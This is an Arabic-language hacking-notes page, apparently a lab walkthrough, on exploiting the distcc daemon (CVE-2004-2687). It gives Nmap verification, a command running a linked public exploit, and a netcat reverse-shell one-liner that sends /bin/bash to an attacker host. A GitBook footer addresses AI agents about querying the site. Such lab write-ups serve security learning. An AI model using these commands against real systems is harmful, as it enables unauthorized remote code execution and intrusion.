> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/ports-and-services/distcc-3632.md).

# distcc - 3632

> Distcc هي أداة لتسريع عملية الترجمة البرمجية باستخدام الموارد غير المستغلة لأجهزة الكمبيوتر الأخرى على الشبكة. عند تهيئتها على جهاز، يمكنها توزيع مهام الترجمة إلى أنظمة أخرى تشغّل الخادم الشيطاني distccd ولديها مترجم متوافق.

#### تم تحديد ثغرة أمنية

الإصدار 4.2.4 من distccd يستمع على المنفذ 3632 وهو معرّض للثغرة CVE-2004-2687. تتيح هذه الثغرة للمهاجم تنفيذ أوامر عشوائية بامتيازات المستخدم الذي يعمل تحته الخادم الشيطاني (غالبًا مستخدم غير مميّز، لكن ذلك قد يختلف حسب الإعدادات).

#### التحقق من الثغرة الأمنية

تأكّد من الثغرة باستخدام سكربت Nmap التالي:

```bash
nmap -p 3632 10.10.10.3 --script distcc-cve2004-2687
```

تشير النتيجة إلى أن الخادم بالفعل معرّض.

<figure><img src="/files/42eaf1bf343e50c8e7a75bfcc04d5e019af91aa7" alt=""><figcaption></figcaption></figure>

### الاستغلال

#### تشغيل سكربت Python

استغل الثغرة باستخدام سكربت Python التالي:

{% embed url="<https://github.com/angelpimentell/distcc_cve_2004-2687_exploit>" %}

```bash
python3 main.py -i 10.10.10.3 -p 3632
```

هذا يسمح بتنفيذ أوامر عشوائية على الجهاز الهدف.

<figure><img src="/files/de28527effcc09024a155dd2e76bdc2f83c38f9a" alt=""><figcaption></figcaption></figure>

#### تشغيل غلاف عكسي

استمع على المنفذ 443:

```bash
nc -nlvp 443
```

شغّل الأمر التالي من الجهاز الهدف لإنشاء الاتصال:

```bash
nc 10.10.14.26 443 -e /bin/bash
```

<figure><img src="/files/c4a8769a9548fd9853a744e38e34c49e2d926181" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/ports-and-services/distcc-3632.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
